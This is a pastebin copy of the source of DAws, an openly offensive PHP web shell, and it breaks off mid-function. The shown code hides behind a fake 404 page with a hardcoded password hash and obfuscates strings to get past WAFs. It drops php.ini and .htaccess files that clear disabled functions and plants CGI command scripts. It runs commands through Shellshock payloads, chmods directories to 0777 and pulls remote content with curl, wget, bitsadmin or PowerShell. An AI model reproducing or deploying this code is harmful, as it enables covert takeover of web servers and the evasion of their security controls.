· 9 years ago · Dec 21, 2016, 04:54 AM
1//I take no credit for any of this code, project files can be seen here: https://raw.githubusercontent.com/dotcppfile/DAws
2<?php
3
4@session_start(); //with error supression because using session_start() multiple times was causing an error on IIS for some reason which makes no sense at all.
5
6//static 404 page
7//-->
8$static_fake_page = "
9<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
10<html><head>
11<title>404 Not Found</title>
12</head><body>
13<h1>Not Found</h1>
14<p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.</p>
15<hr>
16<address>".$_SERVER["SERVER_SOFTWARE"]." Server at ".$_SERVER['SERVER_ADDR']." Port 80</address>
17</body></html>"; //this will be used if DAws fails to show a dynamic fake 404 page
18
19/*
20if (!isset($_SESSION["logged_in"])) {
21 if (isset($_POST["pass"])) {
22 if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
23 $_SESSION["logged_in"] = True;
24 } else {
25 session_destroy();
26 header("HTTP/1.1 404 Not Found");
27 echo $static_fake_page;
28 exit;
29 }
30 } else {
31 session_destroy();
32 header("HTTP/1.1 404 Not Found");
33 echo $static_fake_page;
34 exit();
35 }
36}*/
37//<--
38
39if (ob_get_level()) {
40 ob_end_clean(); //no point of having output buffering on yet
41}
42
43if (!isset($_SESSION['key'])) { //create our session key which will be used for encryption
44 $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
45 $characters_length = strlen($characters);
46 $random_string = "";
47 for ($i = 0; $i < 10; $i++) { //length = 10 (length doens't really matter that much though, check our xor functions to understand why)
48 $random_string .= $characters[rand(0, $characters_length - 1)];
49 }
50 $_SESSION['key'] = $random_string;
51}
52
53if (!isset($_SESSION['windows'])) {
54 if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') { //checking if we're running on a Window's machine
55 $_SESSION["windows"] = True;
56 $_SESSION["windows_drive"] = realpath("\\"); //saving the values instead of using realpath multiple times later on
57 } else {
58 $_SESSION["windows"] = False;
59 }
60}
61
62//base64 recoded to bypass disablers
63$base64ids = array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/");
64
65function bin_dec($string) {
66 $decimal = "";
67 for($i = 0; $i<strlen($string); $i++) {
68 $dec = intval($string{(strlen($string))-$i-1})*pow(2, $i);
69 $decimal+=$dec;
70 }
71
72 return intval($decimal);
73}
74
75function dec_bin($dec) {
76 $binary = "";
77 $current = intval($dec);
78
79 if ($current == 0) {
80 return "0";
81 }
82
83 while (1) {
84 if ($current == 1) {
85 $binary="1".$binary;
86 break;
87 }
88 $binary = ($current%2).$binary;
89 $current = intval($current/2);
90 }
91
92 return $binary;
93}
94
95function base64encoding($string) {
96 global $base64ids;
97
98 $binary = "";
99 for ($i = 0; $i<strlen($string); $i++) {
100 $charASCII = ord($string{$i});
101 $asciiBIN = dec_bin($charASCII);
102 if (strlen($asciiBIN) != 8) {
103 $asciiBIN = str_repeat("0", 8-strlen($asciiBIN)).$asciiBIN;
104 }
105 $binary.= $asciiBIN;
106 }
107
108 $array = array();
109 for ($j = 0; $j<strlen($binary); $j = $j + 6) {
110 $part = substr($binary, $j, 6);
111 array_push($array, $part);
112 }
113
114 if (strlen($array[count($array)-1]) != 6) {
115 $array[count($array)-1] = $array[count($array)-1].str_repeat("0", 6 - strlen($array[count($array)-1]));
116 }
117
118 $base64 = "";
119 foreach ($array as &$value) {
120 $value = bin_dec($value);
121 $value = $base64ids[$value];
122 $base64.=$value;
123 }
124
125 if ((strlen($base64) % 4) != 0) {
126 $base64.=str_repeat("=", 4-(strlen($base64) % 4));
127 }
128
129 return $base64;
130}
131
132function base64decoding($string) {
133 global $base64ids;
134
135 $string = str_replace("=", "", $string);
136
137 $binary = "";
138 for ($i = 0; $i < strlen($string); $i++) {
139 $charID = array_search($string{$i}, $base64ids);
140 $idBIN = dec_bin($charID);
141 if (strlen($idBIN) != 6) {
142 $idBIN = str_repeat("0", 6-strlen($idBIN)).$idBIN;
143 }
144 $binary.= $idBIN;
145 }
146
147 if (strlen($binary) %8 != 0) {
148 $binary = substr($binary, 0, strlen($binary)-(strlen($binary) %8));
149 }
150
151 $array = array();
152 for ($j = 0; $j<strlen($binary); $j = $j + 8) {
153 $part = substr($binary, $j, 8);
154 array_push($array, $part);
155 }
156
157 $text = "";
158 foreach ($array as &$value) {
159 $value = bin_dec($value);
160 $value = chr($value);
161 $text.=$value;
162 }
163
164 return $text;
165}
166
167function xor_this($string, $key=null) { //our 'random key' based xor encryption
168 if ($string == "") {
169 return $string;
170 }
171
172 if ($key == null) {
173 $key = $_SESSION['key'];
174 }
175
176 $outText = '';
177
178 for($i=0; $i<strlen($string);) {
179 for($j=0; ($j<strlen($key) && $i<strlen($string)); $j++,$i++) {
180 $outText .= $string{$i} ^ $key{$j};
181 }
182 }
183
184 return base64encoding($outText);
185} //so basically every string character gets xored once by one key character. That key character is chosen by order
186//example: string=dotcppfile key=1234
187//d will get xored by 1
188//o will get xored by 2
189//etc
190//the first p will get xored by 1 as well because we start all over when all the characters of our key gets used.
191//this gets the job done at its best when it comes to bypassing security systems like WAFs, etc...
192
193function unxor_this($string, $key=null) {
194 if ($string == "") {
195 return $string;
196 }
197
198 if ($key == null) {
199 $key = $_SESSION['key'];
200 }
201
202 return base64decoding(xor_this(base64decoding($string), $key));
203}
204
205//recursive glob used later on to find DAws's directory (first method)
206function recursive_glob($path) {
207 $paths = glob($path."/*", GLOB_ONLYDIR);
208 foreach ($paths as $path) {
209 if ((is_readable($path)) && (is_writable($path))) {
210 return $path;
211 } else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
212 //we can chmod a direcotry that we own and gift it to our beloved DAws!
213 $fileowner = posix_getpwuid(fileowner($path));
214 $fileowner = $fileowner["name"];
215 if($_SESSION["process_owner"] == $fileowner) { //we own that folder
216 if (chmod($path, 0777)) { //successfully chmoded
217 return $path;
218 }
219 }
220 }
221 }
222
223 foreach ($paths as $path) {
224 $path = recursive_glob($path);
225 if ($path != "") {
226 return $path;
227 }
228 }
229}
230
231//recursive iterator used later on to find DAws's directory (second method)
232function recursive_iterator($location) {
233 $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(realpath($location)), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
234
235 $paths = array(realpath($location));
236 foreach ($iter as $path => $dir) {
237 if ($dir->isDir()) {
238 if ((is_readable($dir)) && (is_writable($dir))) {
239 return realpath($path);
240 } else if ((installed_php("fileowner")) && (installed_php("posix_getpwuid"))) {
241 //we can chmod a direcotry that we own and gift it to our beloved DAws!
242 $fileowner = posix_getpwuid(fileowner($dir));
243 $fileowner = $fileowner["name"];
244 if($_SESSION["process_owner"] == $fileowner) { //we own that folder
245 if (chmod($dir, 0777)) { //successfully chmoded
246 return realpath($path);
247 }
248 }
249 }
250 }
251 }
252}
253
254function get_php_ini($string) { //read from php.ini
255 $output = @ini_get($string);
256 if ($output == "") {
257 $output = @get_cfg_var($string);
258 }
259
260 return $output;
261}
262
263//check what's disabled by disable_functions and suhosin
264$disabled_php = array();
265$disabled_suhosin = array();
266
267foreach (explode("," , get_php_ini(unxor_this("AAYHAhIcAzYKEAoMAAofHhU=", "dotcppfile"))) as $disabled) { //disable_functions
268 array_push($disabled_php, $disabled);
269}
270foreach (explode(",", get_php_ini(unxor_this("AAYHAhIcAzYPCQUcBwYD", "dotcppfile"))) as $disabled) { //disabled_classes
271 array_push($disabled_php, $disabled);
272}
273foreach (explode("," , get_php_ini(unxor_this("FxocDAMZCEcJHQEMARcfAkgPGQsHQRYPERMNBQUWEA==", "dotcppfile"))) as $disabled) { //suhosin.executor.func.blacklist
274 array_push($disabled_suhosin, $disabled);
275}
276
277$disabled_php = array_filter($disabled_php);
278$disabled_suhosin = array_filter($disabled_suhosin);
279
280$disabled_php = array_map('trim', $disabled_php);
281$disabled_suhosin = array_map('trim', $disabled_suhosin);
282
283function disabled_php($function_name) { //checks if a function is disabled by php
284 foreach ($GLOBALS["disabled_php"] as $value) {
285 if ($function_name == $value) {
286 return True;
287 }
288 }
289
290 return False;
291}
292
293function disabled_suhosin($function_name) { //checks if a function is disabled by suhosin
294 foreach ($GLOBALS["disabled_suhosin"] as $value) {
295 if ($function_name == $value) {
296 return True;
297 }
298 }
299
300 return False;
301}
302
303function installed_php($function=null, $class=null) { //checks if a function/class exists
304 if ($function != null) {
305 if (disabled_php("function_exists") == False) {
306 if (disabled_suhosin("function_exists") == False) {
307 if (function_exists($function)) {
308 return True;
309 } else {
310 return False;
311 }
312 } else {
313 if (bypass_suhosin("function_exists", $function)) {
314 return True;
315 } else {
316 return False;
317 }
318 }
319 } else {
320 ob_start();
321 $test = $function();
322 $return_value = ob_get_contents();
323 ob_end_clean();
324
325 if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
326 return True;
327 } else {
328 return False;
329 }
330 }
331 } else {
332 if (disabled_php("class_exists") == False) {
333 if (disabled_suhosin("class_exists") == False) {
334 if (class_exists($class)) {
335 return True;
336 } else {
337 return False;
338 }
339 } else
340 if (bypass_suhosin("class_exists", $class)) {
341 return True;
342 } else {
343 return False;
344 }
345 } else {
346 ob_start();
347 $test = new $class();
348 $return_value = ob_get_contents();
349 ob_end_clean();
350
351 if ((strpos($return_value, "error") == False) && (strpos($return_value, "Warning") == False)) {
352 return True;
353 } else {
354 return False;
355 }
356 }
357 }
358}
359
360//dynamic 404 page -->
361//Now the reason I don't like this much is because there's a lot of important code that needs to be ran first
362//to make sure that we can show a dynamic fake 404 page while bypassing security systems
363if (!isset($_SESSION["logged_in"])) {
364 $show_it = False;
365
366 if (isset($_POST["pass"])) {
367 if(md5($_POST["pass"]) == "11b53263cc917f33062363cef21ae6c3") { //DAws
368 $_SESSION["logged_in"] = True;
369 } else {
370 session_destroy();
371 @header("HTTP/1.1 404 Not Found");
372 $show_it = True;
373 }
374 } else {
375 session_destroy();
376 @header("HTTP/1.1 404 Not Found");
377 $show_it = True;
378 }
379
380 if ($show_it == True) {
381 $random_url = "";
382 if (isset($_SERVER['HTTPS'])) {
383 $random_url .= "https";
384 } else {
385 $random_url .= "http";
386 }
387
388 $random_string = time();
389 $random_url .= "://".$_SERVER['SERVER_NAME']."/".$random_string."/DAws.php"; //our random bitch
390 $output = @url_get_contents($random_url);
391
392 if ($output != "") {
393 echo str_replace("/".$random_string."/DAws.php", "/DAws.php", $output);
394 } else {
395 echo $static_fake_page;
396 }
397
398 exit();
399 }
400}//<--
401
402//finds current process's owner
403if (!isset($_SESSION["process_owner"])) {
404 if (installed_php("posix_geteuid")) { //Linux
405 $_SESSION["process_owner"] = posix_getpwuid(posix_geteuid());
406 $_SESSION["process_owner"] = $_SESSION["process_owner"]["name"];
407 } else { //Linux and Windows
408 $_SESSION["process_owner"] = getenv('USERNAME');
409 }
410}
411
412//finds DAws's directory; a writeable and readable directory, move to it and drop our php.ini and .htaccess files that will
413//make life easier if suphp is installed
414if (!isset($_SESSION["daws_directory"])) {
415 $daws_dir = getcwd();
416
417 if ($_SESSION["windows"] == True) {
418 $_SESSION["slash"] = "\\"; //we can use this later on
419 } else {
420 $_SESSION["slash"] = "/";
421 }
422
423 //finding the web dir which will be used here and when deploying the CGI Scripts
424 //not using DOCUMENT_ROOT anymore because it may need to be hardcoded and reset, and fuck all of that
425 $array = explode($_SESSION["slash"], getcwd());
426 for ($i = 0; $i<(count(explode("/", $_SERVER["SCRIPT_NAME"]))-2); $i++) {
427 array_pop($array);
428 }
429
430 $_SESSION["web_dir"] = implode($_SESSION["slash"], $array);
431
432 //finding DAws's directory
433 if ((is_writable($daws_dir)) && (is_readable($daws_dir))) {
434 $_SESSION["daws_directory"] = $daws_dir; //no need to look further since we are in it
435 } else { //lets dance
436 $locations = array($_SESSION["web_dir"], realpath($_SESSION["slash"])); //we go for a random directory if a proper web directory wasn't found
437
438 foreach ($locations as $location) {
439 //uses the recursive glob function for old php versions
440 if (disabled_php("glob") == False) {
441 $_SESSION["daws_directory"] = recursive_glob(realpath($location));
442 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (installed_php(null, "RecursiveIteratorIterator") == True)) { //Iterator incoming!
443 $_SESSION["daws_directory"] = recursive_iterator($location);
444 }
445
446 if ((isset($_SESSION["daws_directory"])) && ($_SESSION["daws_directory"] != "")) {
447 break;
448 }
449 }
450 }
451
452 if (basename($_SESSION["daws_directory"]) != "DAws") { //We just landed, time to get ready for battle because we got some mofos to kill!
453 $_SESSION["daws_directory"] .= "/DAws";
454 @mkdir($_SESSION["daws_directory"]); //incase it already existed. We'll simply replace the old files of DAws with the new ones.
455
456 if (strpos($_SESSION["daws_directory"], $_SESSION["web_dir"]) !== False) {
457 //we clear all disablers, allow eval and url opening
458 $php_ini = "AAYHAhIcAzYKEAoMAAofHhVJUW8ABgcCEhwDNg8JBRwHBgNQW2MfEAwABwoeXgMRCQYRGxsRXhYTBw9LBgMVABscDxoYRVlPVkF6AxMBAxYNAVoGCBUFHBgKFkEQCgMRBAUJOgEZFQ9QTUYmCgNuDhgPHwc5HB4JOwkbExUeRlRMKgo=";
459 //and here we link that php.ini to suphp as a config file
460 //http://support.hostgator.com/articles/specialized-help/technical/how-to-get-your-php-ini-path-with-suphp
461 $htaccess ="<IfModule mod_suphp.c>\nsuPHP_ConfigPath ".$_SESSION["daws_directory"].$_SESSION["slash"]."php.ini\n</IfModule>";
462
463 write_to_file($_SESSION["daws_directory"]."/php.ini", unxor_this($php_ini, "dotcppfile"));
464 write_to_file($_SESSION["daws_directory"]."/.htaccess", $htaccess);
465
466 //and now we move our DAws to its directory if it's not there already
467 if (getcwd() != $_SESSION["daws_directory"]) {
468 copy($_SERVER["SCRIPT_FILENAME"], $_SESSION["daws_directory"]."/DAws.php");
469 header("Location: http://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $_SESSION["daws_directory"]."/DAws.php"));
470 }
471 }
472 }
473}
474
475function write_to_file($location, $string) {
476 $output = file_put_contents_extended($location, $string); //file_put_contents
477 if ($output != False) {
478 return;
479 }
480
481 $fp = fopen_extended($location, "w"); //fopen
482 if ($fp != False) {
483 fwrite($fp, $string);
484 fclose($fp);
485 return;
486 }
487
488 execute_command("echo ".escapeshellarg($string)." > $location"); //system commands
489}
490
491function read_file($location) {
492 if (filesize($location) == 0) { //empty files will cause file_get_contents to return false and fread to cause an error
493 return "";
494 }
495
496 $content = file_get_contents_extended($location); //file_get_contents
497 if ($content == False) {
498 return htmlspecialchars($content);
499 }
500
501 $fp = fopen_extended($location, "r"); //fopen
502 if ($fp != False) {
503 $content = htmlspecialchars(fread($fp, filesize($location)));
504 fclose($fp);
505 return $content;
506 }
507
508 if ($_SESSION["windows"] == True) { //system commands
509 return htmlspecialchars(execute_command("type $location"));
510 } else {
511 return htmlspecialchars(execute_command("cat $location"));
512 }
513
514 return "DAws: failed to read the file because file_get_contents_extended, fopen_extended and system commands failed."; //fail
515}
516
517function url_get_contents($url, $user_agent=null) { //used to download the source of a webpage
518 if ((installed_php("curl_version") == True) && (disabled_php("curl_init") == False)) { //using curl
519 if (disabled_suhosin("curl_init") == False) {
520 $ch = curl_init(str_replace(" ","%20",$url));
521 } else {
522 $ch = bypass_suhosin("curl_init", str_replace(" ","%20",$url));
523 }
524
525 curl_setopt($ch, CURLOPT_URL, $url);
526 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
527
528 if ($user_agent != null) { //used by shellshock (method 2)
529 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
530 }
531
532 $content = curl_exec($ch);
533 curl_close($ch);
534
535 return $content;
536 }
537
538 //for file_get_contents and fopen
539 if ($user_agent != null) {
540 $opts = array('http'=>array('header'=>"User-Agent: $user_agent\r\n"));
541 $context = stream_context_create($opts);
542 } else {
543 $context = null;
544 }
545
546 //using file_get_contents
547 $content = file_get_contents_extended($url, True, $context);
548 if ($content != False) {
549 return $content;
550 }
551
552 //using fopen
553 $fp = fopen_extended($url, "r", True, $context);
554 if ($fp != False) {
555 $content = fread($fp, filesize($url));
556 fclose($fp);
557 return $content;
558 }
559
560 //using system commands (no need to apply shellshock here since we're already using system commands...)
561 if ($_SESSION["windows"] == True) {
562 if (execute_command("bitsadmin", True) == True) { //bitsadmin is a nice choice here
563 return execute_command("bitsadmin.exe /Transfer DAwsDownloadJob $link $location > null; type $location");
564 } else if (strpos(execute_command("powershell.exe"), "Windows PowerShell")) { //powershell comes next
565 return execute_command("powershell.exe Invoke-WebRequest $link -OutFile $location > null; type $location");
566 } else {
567 return False; //sadly, nothing worked
568 }
569 } else { //curl or wget for Linux
570 if (execute_command("curl", True) == True) {
571 return execute_command("curl $url");
572 } else if (execute_command("wget", True) == True) {
573 return execute_command("wget -qO- $url");
574 } else {
575 return False;
576 }
577 }
578}
579
580if (!isset($_SESSION["cgi"])) { //setting up the cgi scripts
581 $cgi_htaccess = "bi4QBzgRCA0AABZPFwQZXRUKHgwUG1RNAxhGRw4EEGU7EwQZCQcfRU8qDAYTMyEgZg==";
582 $cgi_bash = "R05bARkeSQsNFgxlfgYTGAlJTiYLAQAGHgRLHRUVAVVUFxUIEkYEEQkDVmkVEw4GTEdGZX4AHx0LCAIBWQ8RABgfRktINDEqJjovIzI7JSsjTVQfUAMDDUxICk9TEF8uSEMPCgkCFQ0UTTpBNztCMl4/WV5MTUM5VUAERFAMRgsNFgFZQENdXQIMDwoAClQfUAMDDUxHF0BRUUBfRkYLR0QTVBAVFEZLH0pPQFRMF1IGYwkTBQNURxMfCwQNCwA=";
583 $cgi_bat = "JAoXCx9QCQ8Kb24KFwsfUCUGAhEBAQBOBAkWDFZFEAoMF18YEgQAbwEMHAxeemwACkUBFx0QBFACDA8KAApaFwgERg0JCUQLEQAfFANHGB0QZVwGExgJSUk0MSomOi8jMjslKyNVCltVWUZXTAAKDBsHFRRIHRQRbgwREQQFEgAARUkLEQAfFANJTgAKDBsHFRRIHRQRRk9WBxUTCQ0JSxAXAEF6AwMdQxVEDBkHTUwCDA8KAApaFwgEbEwPCABK";
584 $cgi_path = $_SESSION["daws_directory"]."/cgi";
585
586 if (isset($_SERVER['HTTPS'])) {
587 $protocol = "https";
588 } else {
589 $protocol = "http";
590 }
591
592 if (!file_exists($cgi_path)) {
593 mkdir($cgi_path);
594 }
595
596 //writing everything
597 write_to_file($cgi_path."/.htaccess", unxor_this($cgi_htaccess, "dotcppfile"));
598
599 if ($_SESSION["windows"] == True) {
600 write_to_file($cgi_path."/DAws.bat", unxor_this($cgi_bat, "dotcppfile"));
601 chmod($cgi_path."/DAws.bat", 0755);
602 $_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace("\\", "/", str_replace(realpath($_SESSION["web_dir"]), "", $cgi_path))."/DAws.bat";
603 } else {
604 write_to_file($cgi_path."/DAws.sh", unxor_this($cgi_bash, "dotcppfile"));
605 chmod($cgi_path."/DAws.sh", 0755);
606 $_SESSION["cgi_url"] = $protocol."://".$_SERVER['SERVER_NAME'].str_replace($_SESSION["web_dir"], "", $cgi_path)."/DAws.sh";
607 }
608
609 //testing it
610 $test = url_get_contents($_SESSION["cgi_url"]."?command=".base64encoding("echo dotcppfile"));
611 if(($test != "") && (strpos($test, "Internal Server Error") === False) && (strpos($test, "QUERY_STRING") === False)) {
612 $_SESSION["cgi"] = True;
613 } else {
614 $_SESSION["cgi"] = False;
615 }
616}
617
618function execute_ssh($command) { //ssh
619 include_php($_SESSION["daws_directory"]."/SSH2.php"); //this should have been uploaded by the user himself
620
621 $ssh = new Net_SSH2('127.0.0.1', $_SESSION["ssh_port"]);
622
623 if ($ssh->login($_SESSION["ssh_user"], unserialize($_SESSION["ssh_rsa"]))) {
624 return $ssh->exec($command);
625 }
626}
627
628function shsh($command) { //shellshock (method 1)
629 $filename = $_SESSION["daws_directory"].time().".data";
630 putenv("PHP_LOL=() { x; }; $command > $filename 2>&1");
631 mail("a@127.0.0.1", "", "", "", "-bv");
632 if (file_exists($filename)) {
633 $content = read_file($filename);
634 unlink($filename);
635 } else {
636 $content = "";
637 }
638
639 return $content;
640} //this was written by Starfall and I know that this will simply fail if sendmail wasn't installed
641
642function shsh2($command) { //shellshock (method 2)
643 $filename = $_SESSION["daws_directory"].time().".data";
644 url_get_contents($_SESSION["shsh2_cgi_script"], "() { x; }; $command > $filename 2>&1"); //this will be updated later but lets keep it here for now
645
646 if (file_exists($filename)) {
647 $content = read_file($filename);
648 unlink($filename);
649 } else {
650 $content = "";
651 }
652
653 return $content;
654} //this will send http requests with a shellshock user agent to a cgi script
655
656if (!isset($_SESSION["shsh"])) { //testing shellshock1
657 if ($_SESSION["windows"] == False) { //more checks aren't necessary thanks to the upcoming test
658 if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
659 $_SESSION["shsh"] = True;
660 } else {
661 $_SESSION["shsh"] = False;
662 }
663 } else {
664 $_SESSION["shsh"] = False;
665 }
666}
667
668if (!isset($_SESSION["shsh2"])) { //testing shellshock2
669 if ($_SESSION["windows"] == False) {
670 if (shsh("echo Dyme and Starfall") == "Dyme and Starfall") {
671 $_SESSION["shsh2"] = True;
672 } else {
673 $_SESSION["shsh2"] = False;
674 }
675 } else {
676 $_SESSION["shsh2"] = False;
677 }
678}
679
680//finds the location of ruby/perl/python for Windows
681if (!isset($_SESSION["pathes_found"])) {
682 if ($_SESSION["windows"] == True) { //windows...
683 if (execute_command($_SESSION["windows_drive"]."Python27:python", True)) {
684 $_SESSION["python"] = $_SESSION["windows_drive"]."Python27\\python.exe";
685 }
686
687 if (execute_command($_SESSION["windows_drive"]."Python34:python", True)) {
688 $_SESSION["python"] = $_SESSION["windows_drive"]."Python34\\python.exe";
689 }
690
691 if (execute_command($_SESSION["windows_drive"]."Perl32\\bin:perl", True)) {
692 $_SESSION["perl"] = $_SESSION["windows_drive"]."Perl32\\bin\\perl.exe";
693 }
694
695 if (execute_command($_SESSION["windows_drive"]."Perl64\\bin:perl", True)) {
696 $_SESSION["perl"] = $_SESSION["windows_drive"]."Perl64\\bin\\perl.exe";
697 }
698
699 if (execute_command($_SESSION["windows_drive"]."Ruby21-x32\\bin:ruby", True)) {
700 $_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x32\\bin\\ruby.exe";
701 }
702
703 if (execute_command($_SESSION["windows_drive"]."Ruby21-x64\\bin:ruby", True)) {
704 $_SESSION["ruby"] = $_SESSION["windows_drive"]."Ruby21-x64\\bin\\ruby.exe";
705 }
706 } else { //DAMN YOU BILL! Lol, this is much easier
707 $softwares = array("perl", "python", "ruby", "php");
708
709 foreach ($softwares as $software) {
710 if (execute_command($software, True)) {
711 $_SESSION[$software] = $software;
712 }
713 }
714 }
715
716 $_SESSION["pathes_found"] = True;
717}
718
719function bypass_suhosin($function, $arg1=null, $arg2=null, $arg3=null, $arg4=null, $arg5=null, $output_needed = True) { //I found no other way to deal with arguments... poor me.
720 if ($arg5 != null) {
721 if (disabled_php("call_user_func") == False) {
722 $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4, $arg5);
723 } else if (disabled_php("call_user_func_array") == False) {
724 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
725 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
726 $ref_function = new ReflectionFunction($function);
727 $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4, $arg5);
728 if (is_string($handle)) {
729 $return_value = $handle;
730 } else {
731 $return_value = fread($handle, 4096);
732 pclose($handle);
733 }
734 } else if ($output_needed == False) {
735 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
736 $it = new ArrayIterator(array(""));
737 iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4, $arg5));
738 } else if (disabled_php("register_tick_function") == False) {
739 declare(ticks=1);
740 register_tick_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
741 unregister_tick_function($function);
742 } else if (disabled_php("array_map") == False) {
743 array_map($function, array($arg1, $arg2, $arg3, $arg4, $arg5));
744 } else if (disabled_php("array_walk") == False) {
745 $x = array($arg1, $arg2, $arg3, $arg4, $arg5);
746 array_walk($x, $function);
747 } else if (disabled_php("array_filter") == False) {
748 array_filter(array($arg1, $arg2, $arg3, $arg4, $arg5), $function);
749 } else if (disabled_php("register_shutdown_function")) {
750 register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4, $arg5);
751 }
752 }
753 } else if ($arg4 != null) {
754 if (disabled_php("call_user_func") == False) {
755 $return_value = call_user_func($function, $arg1, $arg2, $arg3, $arg4);
756 } else if (disabled_php("call_user_func_array") == False) {
757 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3, $arg4));
758 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
759 $ref_function = new ReflectionFunction($function);
760 $handle = $ref_function->invoke($arg1, $arg2, $arg3, $arg4);
761 if (is_string($handle)) {
762 $return_value = $handle;
763 } else {
764 $return_value = fread($handle, 4096);
765 pclose($handle);
766 }
767 } else if ($output_needed == False) {
768 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
769 $it = new ArrayIterator(array(""));
770 iterator_apply($it, $function, array($arg1, $arg2, $arg3, $arg4));
771 } else if (disabled_php("register_tick_function") == False) {
772 declare(ticks=1);
773 register_tick_function($function, $arg1, $arg2, $arg3, $arg4);
774 unregister_tick_function($function);
775 } else if (disabled_php("array_map") == False) {
776 array_map($function, array($arg1, $arg2, $arg3, $arg4));
777 } else if (disabled_php("array_walk") == False) {
778 $x = array($arg1, $arg2, $arg3, $arg4);
779 array_walk($x, $function);
780 } else if (disabled_php("array_filter") == False) {
781 array_filter(array($arg1, $arg2, $arg3, $arg4), $function);
782 } else if (disabled_php("register_shutdown_function")) {
783 register_shutdown_function($function, $arg1, $arg2, $arg3, $arg4);
784 }
785 }
786 } else if ($arg3 != null) {
787 if (disabled_php("call_user_func") == False) {
788 $return_value = call_user_func($function, $arg1, $arg2, $arg3);
789 } else if (disabled_php("call_user_func_array") == False) {
790 $return_value = call_user_func_array($function, array($arg1, $arg2, $arg3));
791 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
792 $ref_function = new ReflectionFunction($function);
793 $handle = $ref_function->invoke($arg1, $arg2, $arg3);
794 if (is_string($handle)) {
795 $return_value = $handle;
796 } else {
797 $return_value = fread($handle, 4096);
798 pclose($handle);
799 }
800 } else if ($output_needed == False) {
801 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
802 $it = new ArrayIterator(array(""));
803 iterator_apply($it, $function, array($arg1, $arg2, $arg3));
804 } else if (disabled_php("register_tick_function") == False) {
805 declare(ticks=1);
806 register_tick_function($function, $arg1, $arg2, $arg3);
807 unregister_tick_function($function);
808 } else if (disabled_php("array_map") == False) {
809 array_map($function, array($arg1, $arg2, $arg3));
810 } else if (disabled_php("array_walk") == False) {
811 $x = array($arg1, $arg2, $arg3);
812 array_walk($x, $function);
813 } else if (disabled_php("array_filter") == False) {
814 array_filter(array($arg1, $arg2, $arg3), $function);
815 } else if (disabled_php("register_shutdown_function")) {
816 register_shutdown_function($function, $arg1, $arg2, $arg3);
817 }
818 }
819 } else if ($arg2 != null) {
820 if (disabled_php("call_user_func") == False) {
821 $return_value = call_user_func($function, $arg1, $arg2);
822 } else if (disabled_php("call_user_func_array") == False) {
823 $return_value = call_user_func_array($function, array($arg1, $arg2));
824 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
825 $ref_function = new ReflectionFunction($function);
826 $handle = $ref_function->invoke($arg1, $arg2);
827 if (is_string($handle)) {
828 $return_value = $handle;
829 } else {
830 $return_value = fread($handle, 4096);
831 pclose($handle);
832 }
833 } else if ($output_needed == False) {
834 if ((version_compare(PHP_VERSION, '5.1.0') >= 0) && (disabled_php(null, "ArrayIterator") == False)) {
835 $it = new ArrayIterator(array(""));
836 iterator_apply($it, $function, array($arg1, $arg2));
837 } else if (disabled_php("register_tick_function") == False) {
838 declare(ticks=1);
839 register_tick_function($function, $arg1, $arg2);
840 unregister_tick_function($function);
841 } else if (disabled_php("array_map") == False) {
842 array_map($function, array($arg1, $arg2));
843 } else if (disabled_php("array_walk") == False) {
844 $x = array($arg1, $arg2);
845 array_walk($x, $function);
846 } else if (disabled_php("array_filter") == False) {
847 array_filter(array($arg1, $arg2), $function);
848 } else if (disabled_php("register_shutdown_function")) {
849 register_shutdown_function($function, $arg1, $arg2);
850 }
851 }
852 } else if ($arg1 != null) {
853 if (disabled_php("call_user_func") == False) {
854 $return_value = call_user_func($function, $arg1);
855 } else if (disabled_php("call_user_func_array") == False) {
856 $return_value = call_user_func_array($function, array($arg1));
857 } else if ((version_compare(PHP_VERSION, '5.0.0') >= 0) && (disabled_php(null, "ReflectionFunction") == False)) {
858 $ref_function = new ReflectionFunction($function);
859 $handle = $ref_function->invoke($arg1);
860 if (is_string($handle)) {
861 $return_value = $handle;
862 } else {
863 $return_value = fread($handle, 4096);
864 pclose($handle);
865 }
866 } else if ($output_needed == False) {
